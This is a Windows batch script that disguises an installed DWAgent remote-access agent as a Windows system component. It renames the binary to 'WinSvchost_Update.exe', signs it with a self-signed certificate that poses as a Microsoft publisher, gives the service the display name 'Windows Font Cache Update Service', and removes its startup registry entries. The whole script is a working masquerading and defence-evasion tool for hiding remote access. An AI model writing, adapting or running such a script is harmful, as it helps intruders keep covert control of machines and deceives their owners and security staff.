@echo off
:: Ensure Admin Rights
net session >nul 2>&1
if %errorLevel% neq 0 (
    echo [!] Please run this as Administrator.
    pause
    exit /b
)

echo [*] Stopping DWAgent Service...
net stop dwagent >nul 2>&1

echo [*] Navigating to DWAgent directory...
cd /d "C:\Program Files\DWAgent"

echo [*] Renaming Binary to WinSvchost_Update.exe...
if exist dwagent.exe (
    rename dwagent.exe WinSvchost_Update.exe
)

echo [*] Generating Self-Signed Certificate and Signing File...
:: This PowerShell block creates a fake Microsoft-looking cert and signs the EXE
powershell -Command "$cert = New-SelfSignedCertificate -Type CodeSigningCert -Subject 'CN=Microsoft Windows Hardware Compatibility Publisher' -CertStoreLocation cert:\CurrentUser\My -NotAfter (Get-Date).AddYears(1); Set-AuthenticodeSignature -FilePath 'C:\Program Files\DWAgent\WinSvchost_Update.exe' -Certificate $cert" >nul 2>&1

echo [*] Reconfiguring Service...
sc config dwagent binPath= "\"C:\Program Files\DWAgent\WinSvchost_Update.exe\" -service" >nul
sc config dwagent DisplayName= "Windows Font Cache Update Service" >nul

echo [*] Removing Registry Startup Icon...
reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "dwagent" /f >nul 2>&1
reg delete "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" /v "dwagent" /f >nul 2>&1

echo [*] Restarting Service...
net start dwagent >nul

echo [+] Task Complete. 
echo [+] File Renamed, Service Masked, and Digital Signature Applied.
pause